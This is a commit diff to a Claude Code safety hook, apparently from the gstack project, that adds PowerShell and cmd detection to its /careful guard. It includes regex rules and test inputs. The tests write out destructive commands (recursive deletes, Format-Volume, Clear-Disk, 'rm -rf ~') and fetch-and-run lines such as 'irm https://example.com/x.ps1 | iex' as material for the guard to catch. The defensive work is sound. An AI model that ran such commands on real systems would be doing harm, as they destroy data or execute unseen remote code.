fix(careful): check PowerShell tool commands and nested pwsh/cmd (#3067)

/careful and /guard matched only the Bash tool, so on Windows, where
Claude Code's PowerShell tool is the primary shell, the guard never ran.
check-careful.sh also had no PowerShell or cmd patterns.

- careful/guard register a PowerShell matcher beside Bash.
- hook-extract.sh gains gstack_hook_extract_tool: one parser call reads
  tool_name with the field, so dispatch adds no fork.
- check-careful.sh runs one PowerShell/cmd pattern table on PowerShell
  tool commands and on the tail of any Bash command that launches
  pwsh/powershell/cmd: Remove-Item and aliases with -Recurse/-Force
  prefixes, rd/rmdir/del/erase /s, Format-Volume, Clear-Disk,
  Clear-Content, [IO.Directory]/[IO.File]::Delete, and asks with an
  explanation for -EncodedCommand, iex, Start-Process of a shell and
  & $cmd. Command-position anchors keep Bash negative controls allowed.
- /careful documents the coverage as best-effort and points to Claude
  Code permission deny rules.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
garrytanandcapy-ai[bot] committed 2026-10-08 06:23:37 +00:00
1 parent f67c478f05
commit a479ac80fa
8 files changed
+432 -14

No files matched your search

+27 -3
View File
@@ -16,6 +16,11 @@ hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "PowerShell"
hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
---
<!-- AUTO-GENERATED from SKILL.md.tmpl — do not edit directly -->
<!-- Regenerate: bun run gen:skill-docs -->
@@ -31,8 +36,8 @@ or working in a shared environment. Use when asked to "be careful", "safety mode
# /careful — Destructive Command Guardrails
Safety mode is now **active**. Every bash command will be checked for destructive
patterns before running. If a destructive command is detected, you'll be warned
Safety mode is now **active**. Every Bash and PowerShell command will be checked
for destructive patterns before running. If a destructive command is detected, you'll be warned
and can choose to proceed or cancel.
```bash
@@ -54,6 +59,25 @@ echo '{"skill":"careful","ts":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'","repo":"'$(base
| `kubectl delete` | `kubectl delete pod` | Production impact |
| `docker rm -f` / `docker system prune` | `docker system prune -a` | Container/image loss |
## PowerShell and cmd (Windows)
The hook also checks the PowerShell tool (Claude Code's main Windows shell)
and any `pwsh`/`powershell`/`cmd` launched from Bash. Matching ignores case,
covers aliases in command position, accepts parameter prefixes (`-r`, `-fo`)
and strips cmd `^` escapes. All rows above apply there too.
| Pattern | Example |
|---------|---------|
| `Remove-Item`/`rm`/`ri`/`del`/`erase`/`rd`/`rmdir` + `-Recurse` or `-Force` | `gci \| ri -r -fo` |
| cmd `rd /s`, `rmdir /s`, `del /s`, `erase /s` | `cmd /c rd /s /q C:\proj` |
| `Format-Volume`, `Clear-Disk`, `Clear-Content`, `[IO.Directory]::Delete`, `[IO.File]::Delete` | `Clear-Disk -Number 1` |
| `-EncodedCommand`, `iex`, `Start-Process` of a shell, `& $cmd` (can't be inspected) | `irm $url \| iex` |
**Best-effort on PowerShell.** String matching can't see a command built at
runtime. For a hard stop, add Claude Code permission deny rules, which parse
PowerShell and its aliases: `"deny": ["PowerShell(Remove-Item *)"]` in
`.claude/settings.json`. The hook runs through `bash`, so Windows needs Git Bash.
## Safe exceptions
These patterns are allowed without warning:
@@ -61,7 +85,7 @@ These patterns are allowed without warning:
## How it works
The hook reads the command from the tool input JSON, checks it against the
The hook reads `tool_name` and the command from the tool input JSON, checks it against the
patterns above, and returns a `hookSpecificOutput` payload with
`permissionDecision: "ask"` and a warning reason if a match is found (the
decision must be nested under `hookSpecificOutput` — Claude Code ignores a
+27 -3
View File
@@ -21,13 +21,18 @@ hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "PowerShell"
hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
sensitive: true
---
# /careful — Destructive Command Guardrails
Safety mode is now **active**. Every bash command will be checked for destructive
patterns before running. If a destructive command is detected, you'll be warned
Safety mode is now **active**. Every Bash and PowerShell command will be checked
for destructive patterns before running. If a destructive command is detected, you'll be warned
and can choose to proceed or cancel.
```bash
@@ -49,6 +54,25 @@ echo '{"skill":"careful","ts":"'$(date -u +%Y-%m-%dT%H:%M:%SZ)'","repo":"'$(base
| `kubectl delete` | `kubectl delete pod` | Production impact |
| `docker rm -f` / `docker system prune` | `docker system prune -a` | Container/image loss |
## PowerShell and cmd (Windows)
The hook also checks the PowerShell tool (Claude Code's main Windows shell)
and any `pwsh`/`powershell`/`cmd` launched from Bash. Matching ignores case,
covers aliases in command position, accepts parameter prefixes (`-r`, `-fo`)
and strips cmd `^` escapes. All rows above apply there too.
| Pattern | Example |
|---------|---------|
| `Remove-Item`/`rm`/`ri`/`del`/`erase`/`rd`/`rmdir` + `-Recurse` or `-Force` | `gci \| ri -r -fo` |
| cmd `rd /s`, `rmdir /s`, `del /s`, `erase /s` | `cmd /c rd /s /q C:\proj` |
| `Format-Volume`, `Clear-Disk`, `Clear-Content`, `[IO.Directory]::Delete`, `[IO.File]::Delete` | `Clear-Disk -Number 1` |
| `-EncodedCommand`, `iex`, `Start-Process` of a shell, `& $cmd` (can't be inspected) | `irm $url \| iex` |
**Best-effort on PowerShell.** String matching can't see a command built at
runtime. For a hard stop, add Claude Code permission deny rules, which parse
PowerShell and its aliases: `"deny": ["PowerShell(Remove-Item *)"]` in
`.claude/settings.json`. The hook runs through `bash`, so Windows needs Git Bash.
## Safe exceptions
These patterns are allowed without warning:
@@ -56,7 +80,7 @@ These patterns are allowed without warning:
## How it works
The hook reads the command from the tool input JSON, checks it against the
The hook reads `tool_name` and the command from the tool input JSON, checks it against the
patterns above, and returns a `hookSpecificOutput` payload with
`permissionDecision: "ask"` and a warning reason if a match is found (the
decision must be nested under `hookSpecificOutput` — Claude Code ignores a
+98 -5
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env bash
# check-careful.sh — PreToolUse hook for /careful skill
# Reads JSON from stdin, checks Bash command for destructive patterns.
# Reads JSON from stdin, checks a Bash or PowerShell command for destructive
# patterns (best-effort string matching, not a security boundary).
# Two tiers:
# HIGH — a tiny set of catastrophic SIMPLE commands returns "deny"
# (best-effort advisory hard-stop, not a policy boundary).
@@ -39,9 +40,23 @@ fi
# Parse the payload properly instead, and fail CLOSED when it cannot be parsed
# at all — a hook that gates destructive commands must not allow-by-default on
# unreadable input.
#
# The same parser call reads tool_name: the PowerShell tool (Claude Code's
# primary shell on Windows, and the only one without Git Bash) carries its
# command in the same tool_input.command field as Bash (hooks reference,
# "PreToolUse > PowerShell"). An older hook-extract.sh without the combined
# reader (partial upgrade) still checks the command, as Bash.
TOOL_NAME=""
set +e
CMD=$(gstack_hook_extract_field "$INPUT" command)
EXTRACT_RC=$?
if command -v gstack_hook_extract_tool >/dev/null 2>&1; then
gstack_hook_extract_tool "$INPUT" command
EXTRACT_RC=$?
TOOL_NAME="$GSTACK_HOOK_TOOL"
CMD="$GSTACK_HOOK_VALUE"
else
CMD=$(gstack_hook_extract_field "$INPUT" command)
EXTRACT_RC=$?
fi
set -e
# No parser available, or the payload is not parseable JSON. Fail closed.
@@ -50,7 +65,7 @@ if [ "$EXTRACT_RC" -ne 0 ] && [ -n "$INPUT" ]; then
exit 0
fi
# Parsed fine, but there is genuinely no command field (non-Bash payload) — allow.
# Parsed fine, but there is genuinely no command field (non-shell payload) — allow.
if [ -z "$CMD" ]; then
echo '{}'
exit 0
@@ -209,8 +224,86 @@ esac
WARN=""
PATTERN=""
# --- PowerShell and cmd table (#3067) ---
# Runs on the PowerShell tool's command, and on the part of any command from a
# nested `powershell`/`pwsh`/`cmd` launcher onward (`pwsh -c "..."`,
# `cmd /c rd /s /q x`, Git Bash's `cmd //c`). Plain Bash commands never reach
# it, so Bash keeps exactly its old behavior. Best-effort: PowerShell can
# build commands at runtime, so encoded and dynamic forms ask instead of being
# parsed, and Claude Code permission deny rules stay the stronger layer.
# Matching is bash [[ =~ ]] on the already-lowercased command (POSIX ERE,
# bash 3.2 compatible): no added subprocess on the per-command path.
_WIN_SCAN=""
[ "$TOOL_NAME" = "PowerShell" ] && _WIN_SCAN="$CMD_LOWER"
_WIN_LAUNCH_RE='(^|[^a-z0-9_.$-])((powershell|pwsh|cmd)(\.exe)?([[:space:]].*)?)$'
if [ -z "$_WIN_SCAN" ] && [[ $CMD_LOWER =~ $_WIN_LAUNCH_RE ]]; then
_WIN_SCAN="${BASH_REMATCH[2]}"
fi
if [ -n "$_WIN_SCAN" ]; then
# cmd escapes with ^ (r^d is rd) and PowerShell with a backtick
# (Re`move-Item is Remove-Item); dropping both only joins characters.
_WIN_SCAN="${_WIN_SCAN//^/}"
_WIN_SCAN="${_WIN_SCAN//\`/}"
_NL=$'\n'
# Command position: start of text, a statement/pipeline separator, an
# opening bracket or quote, or right after a shell launcher and its
# switches. Names elsewhere (ord, --del, /rd/, git branch -d) never match.
_CP="(^|[;&|({}\"'${_NL}]|(powershell|pwsh|cmd)(\.exe)?([[:space:]]+(-|/+)[a-z]+([[:space:]:=]+[a-z0-9_.-]+)?)*)[[:space:]]*"
_STMT="[^;|${_NL}]*"
_CMD_STMT="[^;|&${_NL}]*"
_WHY_DYNAMIC="Encoded or dynamic PowerShell can't be inspected, so /careful cannot tell what it will run. Read it before approving; Claude Code permission deny rules (for example \"PowerShell(Remove-Item *)\") are the stronger layer."
# One table: pattern name, ERE, warning. Parameters match any unique
# prefix PowerShell accepts (-r/-rec/-recurse, -fo/-forc/-force; -f alone
# is ambiguous with -Filter), with or without a :$true value.
_WIN_RULES=(
ps_remove_item
"${_CP}(remove-item|rm|ri|del|erase|rd|rmdir)[[:space:]](${_STMT}[[:space:]])?-(r|re|rec|recu|recur|recurs|recurse|fo|for|forc|force)([[:space:]:]|$)"
"Destructive: PowerShell Remove-Item (or rm/ri/del/erase/rd/rmdir) with -Recurse or -Force. This permanently removes files."
cmd_rd_s
"${_CP}(rd|rmdir)[[:space:]]${_CMD_STMT}/s([[:space:]/]|$)"
"Destructive: cmd rd/rmdir /s deletes a whole directory tree."
cmd_del_s
"${_CP}(del|erase)[[:space:]]${_CMD_STMT}/s([[:space:]/]|$)"
"Destructive: cmd del/erase /s deletes matching files in every subdirectory."
ps_format_volume
"${_CP}format-volume([[:space:]]|$)"
"Destructive: Format-Volume erases a whole volume."
ps_clear_disk
"${_CP}clear-disk([[:space:]]|$)"
"Destructive: Clear-Disk wipes every partition on a disk."
ps_clear_content
"${_CP}(clear-content|clc)([[:space:]]|$)"
"Destructive: Clear-Content empties files (like truncate)."
ps_dotnet_delete
'\[(system\.)?io\.(directory|file)\]::delete'
"Destructive: .NET [IO.Directory]::Delete / [IO.File]::Delete removes files without Remove-Item."
ps_encoded_command
"(^|[^a-z0-9_.$-])(powershell|pwsh)(\.exe)?[[:space:]](${_STMT}[[:space:]])?-(e|ec|en|enc[a-z]*)([[:space:]:]|$)"
"PowerShell -EncodedCommand. ${_WHY_DYNAMIC}"
ps_invoke_expression
"${_CP}(invoke-expression|iex)([[:space:](]|$)"
"PowerShell Invoke-Expression (iex). ${_WHY_DYNAMIC}"
ps_start_process_shell
"${_CP}(start-process|saps|start)[[:space:]](${_STMT}[[:space:]\"',])?(powershell|pwsh|cmd|bash|wsl|sh)(\.exe)?([[:space:]\"',]|$)"
"Start-Process launching another shell. ${_WHY_DYNAMIC}"
ps_call_operator
"(^|[^&])&[[:space:]]*[\$(]"
"PowerShell call operator on a variable or expression (& \$cmd). ${_WHY_DYNAMIC}"
)
_WI=0
while [ "$_WI" -lt "${#_WIN_RULES[@]}" ]; do
_WRE="${_WIN_RULES[$((_WI + 1))]}"
if [[ $_WIN_SCAN =~ $_WRE ]]; then
PATTERN="${_WIN_RULES[$_WI]}"
WARN="${_WIN_RULES[$((_WI + 2))]} (pattern: $PATTERN)"
break
fi
_WI=$((_WI + 3))
done
fi
# rm -rf / rm -r / rm -R / rm --recursive (capital -R is BSD/macOS recursive)
if grep -qE 'rm\s+(-[a-zA-Z]*[rR]|--recursive)' <<< "$CMD" 2>/dev/null; then
if [ -z "$WARN" ] && grep -qE 'rm\s+(-[a-zA-Z]*[rR]|--recursive)' <<< "$CMD" 2>/dev/null; then
WARN="Destructive: recursive delete (rm -r). This permanently removes files."
PATTERN="rm_recursive"
fi
+48
View File
@@ -32,6 +32,54 @@ sys.stdout.write(c if isinstance(c, str) else "")' "$_ghef_field" 2>/dev/null &&
return 1
}
# gstack_hook_extract_tool PAYLOAD FIELD [FIELD...]
# One parser call that reads the top-level tool_name together with the first
# non-empty string among tool_input.FIELD..., so tool dispatch costs no
# extra fork on the per-command hot path. Sets three globals (stdout stays
# the hook's decision channel):
# GSTACK_HOOK_TOOL tool_name ("" when absent or non-string)
# GSTACK_HOOK_FIELD the FIELD that supplied the value ("" when none did)
# GSTACK_HOOK_VALUE that field's string value, trailing newlines dropped
# (the same shape $(gstack_hook_extract_field ...) gave)
# Returns 1 when no parser is available or the payload is not parseable
# JSON; the caller decides the polarity, exactly as for the field extractor.
# Payload shapes (Claude Code hooks reference, PreToolUse input): Bash and
# PowerShell carry tool_input.command; Edit and Write carry file_path;
# NotebookEdit carries notebook_path.
GSTACK_HOOK_TOOL=""
GSTACK_HOOK_FIELD=""
GSTACK_HOOK_VALUE=""
gstack_hook_extract_tool() {
_ghet_payload="$1"
shift
_ghet_out=""
_ghet_ok=1
if command -v python3 >/dev/null 2>&1; then
_ghet_out=$(printf '%s' "$_ghet_payload" | python3 -c 'import sys,json
d = json.loads(sys.stdin.read())
t = d.get("tool_name", "") if isinstance(d, dict) else ""
i = d.get("tool_input", {}) if isinstance(d, dict) else {}
i = i if isinstance(i, dict) else {}
f = v = ""
for k in sys.argv[1:]:
c = i.get(k, "")
if isinstance(c, str) and c:
f, v = k, c
break
sys.stdout.write((t if isinstance(t, str) else "").replace("\n", " ") + "\n" + f + "\n" + v.rstrip("\n") + ".")' "$@" 2>/dev/null) && _ghet_ok=0
fi
if [ "$_ghet_ok" -ne 0 ] && command -v node >/dev/null 2>&1; then
_ghet_out=$(printf '%s' "$_ghet_payload" | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>{let j;try{j=JSON.parse(s)}catch(e){process.exit(3)}const o=j&&typeof j==="object"?j:{};const t=typeof o.tool_name==="string"?o.tool_name:"";const i=o.tool_input&&typeof o.tool_input==="object"?o.tool_input:{};let f="",v="";for(const k of process.argv.slice(1)){const c=i[k];if(typeof c==="string"&&c){f=k;v=c;break}}process.stdout.write(t.replace(/\n/g," ")+"\n"+f+"\n"+v.replace(/\n+$/,"")+".")})' "$@" 2>/dev/null) && _ghet_ok=0
fi
[ "$_ghet_ok" -eq 0 ] || return 1
_ghet_out="${_ghet_out%.}"
GSTACK_HOOK_TOOL="${_ghet_out%%$'\n'*}"
_ghet_out="${_ghet_out#*$'\n'}"
GSTACK_HOOK_FIELD="${_ghet_out%%$'\n'*}"
GSTACK_HOOK_VALUE="${_ghet_out#*$'\n'}"
return 0
}
# Windows bash (Git Bash / MSYS / Cygwin), read from bash's own OSTYPE so the
# check never costs a fork: careful sources this file on every Bash call.
case "${OSTYPE:-}" in
+5
View File
@@ -17,6 +17,11 @@ hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "PowerShell"
hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "Edit"
hooks:
- type: command
+5
View File
@@ -22,6 +22,11 @@ hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "PowerShell"
hooks:
- type: command
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
statusMessage: "Checking for destructive commands..."
- matcher: "Edit"
hooks:
- type: command
+3 -3
View File
@@ -1,6 +1,6 @@
{
"_comment": "Context-budget ratchet ceilings (~tokens). Regenerate: bun test/helpers/capture-context-budget.ts. Headroom: alwaysOnTotal x1.05, eagerPerInvocation x1.1. Graded by test/context-budget-ratchet.test.ts via lib/context-bill.ts checkBudget.",
"alwaysOnTotal": 6892,
"alwaysOnTotal": 7273,
"eagerPerInvocation": {
"autoplan": 16511,
"benchmark": 7701,
@@ -8,7 +8,7 @@
"browse": 8166,
"browser-skills/hackernews-frontpage": 371,
"canary": 13356,
"careful": 976,
"careful": 1328,
"codex": 15204,
"context-restore": 10531,
"context-save": 10376,
@@ -25,7 +25,7 @@
"freeze": 1073,
"gstack": 4151,
"gstack-upgrade": 5793,
"guard": 963,
"guard": 1082,
"health": 11408,
"investigate": 12130,
"ios-clean": 8167,
+219
View File
@@ -132,6 +132,34 @@ describe('frontmatter hook command paths', () => {
);
});
// Claude Code fires a hook only for the tools its matcher names. The
// PowerShell tool is the primary shell on Windows (and the only one without
// Git Bash) (#3067).
function hookCommandsFor(rel: string, matcher: string): string[] {
const content = fs.readFileSync(path.join(ROOT, rel), 'utf-8');
const frontmatter = content.split('\n---')[0];
const blocks = frontmatter.split(' - matcher: ').slice(1);
return blocks
.filter((b) => b.startsWith(`"${matcher}"`))
.flatMap((b) => b.split('\n').filter((l) => l.trim().startsWith('command:')));
}
describe('generated hook matchers cover PowerShell (#3067)', () => {
test.each(['careful/SKILL.md', 'guard/SKILL.md'])('%s routes Bash and PowerShell to check-careful.sh', (rel) => {
for (const matcher of ['Bash', 'PowerShell']) {
const commands = hookCommandsFor(rel, matcher);
expect(commands.length).toBe(1);
expect(commands[0]).toContain('careful/bin/check-careful.sh');
}
});
test('careful/SKILL.md says PowerShell coverage is best-effort and points to permission deny rules', () => {
const content = fs.readFileSync(path.join(ROOT, 'careful', 'SKILL.md'), 'utf-8');
expect(content).toContain('**Best-effort on PowerShell.**');
expect(content).toContain('"PowerShell(Remove-Item *)"');
});
});
// ============================================================
// check-careful.sh tests
// ============================================================
@@ -784,6 +812,197 @@ describe('check-careful.sh', () => {
});
});
// ============================================================
// check-careful.sh on the PowerShell tool and nested shells (#3067)
// ============================================================
// Payload shape: Claude Code's PowerShell tool sends tool_input.command, the
// same fields as Bash, with tool_name "PowerShell" (hooks reference,
// code.claude.com/docs/en/hooks#powershell; tools reference "PowerShell tool").
function psInput(command: string) {
return { tool_name: 'PowerShell', tool_input: { command } };
}
function bashInput(command: string) {
return { tool_name: 'Bash', tool_input: { command } };
}
function carefulDecision(input: object): { decision: string | undefined; reason: string } {
const { exitCode, output } = runHook(CAREFUL_SCRIPT, input);
expect(exitCode).toBe(0);
return {
decision: output.hookSpecificOutput?.permissionDecision,
reason: output.hookSpecificOutput?.permissionDecisionReason ?? '',
};
}
describe('check-careful.sh PowerShell and cmd coverage (#3067)', () => {
describe('Remove-Item alias families ask (case-insensitive, any parameter prefix)', () => {
test.each([
['Remove-Item -Recurse -Force C:\\proj'],
['remove-item -rec C:\\proj'],
['REMOVE-ITEM x -Recurse:$true'],
['rm -r -fo C:\\proj'],
['ri -Recurse x'],
['del -Forc x'],
['erase -recurse x'],
['rd -r x'],
['rmdir -Force x'],
['Remove-Item -LiteralPath @("C:\\a", "C:\\b") -Recurse -Force'],
['Get-ChildItem build | ri -r -fo'],
['Write-Output start; Remove-Item -Recurse x'],
['Re`move-Item -Recurse x'],
])('%s asks and names ps_remove_item', (cmd) => {
const { decision, reason } = carefulDecision(psInput(cmd));
expect(decision).toBe('ask');
expect(reason).toContain('Remove-Item');
expect(reason).toContain('pattern: ps_remove_item');
});
});
describe('cmd switches ask', () => {
test.each([
['rmdir /s /q C:\\proj', 'cmd_rd_s'],
['cmd /c rd /s /q C:\\proj', 'cmd_rd_s'],
['cmd /c "rd /s/q C:\\proj"', 'cmd_rd_s'],
['cmd /c r^d /s /q C:\\proj', 'cmd_rd_s'],
['cmd /c del /s /q *.log', 'cmd_del_s'],
['cmd /c erase /q /s *.tmp', 'cmd_del_s'],
])('%s asks (%s)', (cmd, pattern) => {
const { decision, reason } = carefulDecision(psInput(cmd));
expect(decision).toBe('ask');
expect(reason).toContain(`pattern: ${pattern}`);
});
});
describe('other destructive PowerShell commands ask', () => {
test.each([
['Format-Volume -DriveLetter D', 'ps_format_volume'],
['Clear-Disk -Number 1 -RemoveData', 'ps_clear_disk'],
['Clear-Content app.log', 'ps_clear_content'],
['clc app.log', 'ps_clear_content'],
['[System.IO.Directory]::Delete("C:\\proj", $true)', 'ps_dotnet_delete'],
['[io.file]::delete("C:\\proj\\x")', 'ps_dotnet_delete'],
['$null = [IO.Directory]::Delete($p, $true)', 'ps_dotnet_delete'],
])('%s asks (%s)', (cmd, pattern) => {
const { decision, reason } = carefulDecision(psInput(cmd));
expect(decision).toBe('ask');
expect(reason).toContain(`pattern: ${pattern}`);
});
test('git push --force through the PowerShell tool asks (shell-agnostic family)', () => {
const { decision, reason } = carefulDecision(psInput('git push --force origin feature'));
expect(decision).toBe('ask');
expect(reason).toContain('force-push');
});
});
describe('encoded and dynamic PowerShell asks with an explanation', () => {
test.each([
['pwsh -enc ZQBjAGgAbwA=', 'ps_encoded_command'],
['powershell.exe -NoProfile -EncodedCommand ZQBjAGgAbwA=', 'ps_encoded_command'],
['pwsh -e ZQBjAGgAbwA=', 'ps_encoded_command'],
['iex (iwr https://example.com/x.ps1)', 'ps_invoke_expression'],
['irm https://example.com/x.ps1 | iex', 'ps_invoke_expression'],
['Invoke-Expression $payload', 'ps_invoke_expression'],
['Start-Process pwsh -ArgumentList "-c Remove-Item x"', 'ps_start_process_shell'],
['Start-Process -FilePath "cmd.exe" -ArgumentList "/c rd /s /q x"', 'ps_start_process_shell'],
['& $cmd', 'ps_call_operator'],
['& ("Remove-" + "Item") x', 'ps_call_operator'],
])('%s asks (%s)', (cmd, pattern) => {
const { decision, reason } = carefulDecision(psInput(cmd));
expect(decision).toBe('ask');
expect(reason).toContain(`pattern: ${pattern}`);
expect(reason).toContain("can't be inspected");
expect(reason).toContain('permission deny rules');
});
});
describe('Bash commands that launch PowerShell or cmd are scanned', () => {
test.each([
['pwsh -c "Remove-Item -r -fo x"', 'ps_remove_item'],
['powershell -NoProfile -Command "Remove-Item -Recurse C:\\proj"', 'ps_remove_item'],
['powershell.exe -ExecutionPolicy Bypass Remove-Item -Recurse x', 'ps_remove_item'],
['cmd /c "rd /s /q C:\\proj"', 'cmd_rd_s'],
['cmd //c "r^d /s /q C:\\proj"', 'cmd_rd_s'],
['cmd.exe /d /s /c "del /s /q build"', 'cmd_del_s'],
['pwsh -enc ZQBjAGgAbwA=', 'ps_encoded_command'],
['echo ok\npwsh -c "ri -r x"', 'ps_remove_item'],
])('%s asks (%s)', (cmd, pattern) => {
const { decision, reason } = carefulDecision(bashInput(cmd));
expect(decision).toBe('ask');
expect(reason).toContain(`pattern: ${pattern}`);
});
});
describe('negative controls stay allowed on both tools', () => {
const controls = [
'git branch -d feature',
'ord',
'ls --del',
'ls /rd/x',
'cat ./src/rd/notes.txt',
'Get-ChildItem -Recurse',
'Remove-Item x.txt',
'Remove-Item -Filter *.tmp x',
'del x.txt',
'go test ./cmd/...',
'pwsh -v',
'pwsh -ExecutionPolicy Bypass -File build.ps1',
'cmd /c dir',
'grep -e foo x',
'Start-Process notepad',
'git status && git log --oneline -3',
];
for (const tool of ['Bash', 'PowerShell']) {
test.each(controls)(`${tool}: %s allows`, (cmd) => {
const { decision } = carefulDecision({ tool_name: tool, tool_input: { command: cmd } });
expect(decision).toBeUndefined();
});
}
});
describe('PR #1110 bypass strings stay caught (negative controls for an echo/commit skip)', () => {
test.each([
['echo hi; rm -rf ~'],
['echo $(rm -rf /)'],
['git commit -m "$(rm -rf ~)"'],
])('%s asks', (cmd) => {
expect(carefulDecision(bashInput(cmd)).decision).toBe('ask');
expect(carefulDecision(carefulInput(cmd)).decision).toBe('ask');
});
});
test('a malformed PowerShell payload fails closed (ask, exit 0)', () => {
const { exitCode, output } = runHookRaw(CAREFUL_SCRIPT, '{"tool_name":"PowerShell","tool_input":{"command":"Remove-Item');
expect(exitCode).toBe(0);
expect(output.hookSpecificOutput?.permissionDecision).toBe('ask');
});
test('a payload without tool_name is checked as Bash, exactly as before', () => {
expect(carefulDecision(carefulInput('rm -rf /var/data')).decision).toBe('ask');
expect(carefulDecision(carefulInput('Remove-Item -Recurse x')).decision).toBeUndefined();
});
test('an older hook-extract.sh without gstack_hook_extract_tool still checks the command', () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-careful-oldextract-'));
const carefulBin = path.join(base, 'careful', 'bin');
fs.mkdirSync(carefulBin, { recursive: true });
fs.copyFileSync(CAREFUL_SCRIPT, path.join(carefulBin, 'check-careful.sh'));
const helper = fs.readFileSync(HOOK_EXTRACT, 'utf-8');
const start = helper.indexOf('gstack_hook_extract_tool() {');
const end = helper.indexOf('\n}\n', start) + 3;
expect(start).toBeGreaterThan(0);
fs.writeFileSync(path.join(carefulBin, 'hook-extract.sh'), helper.slice(0, start) + helper.slice(end));
try {
const { exitCode, output } = runHook(path.join(carefulBin, 'check-careful.sh'), bashInput('rm -rf /var/data'));
expect(exitCode).toBe(0);
expect(output.hookSpecificOutput?.permissionDecision).toBe('ask');
} finally {
fs.rmSync(base, { recursive: true, force: true });
}
});
});
// ============================================================
// check-freeze.sh tests
// ============================================================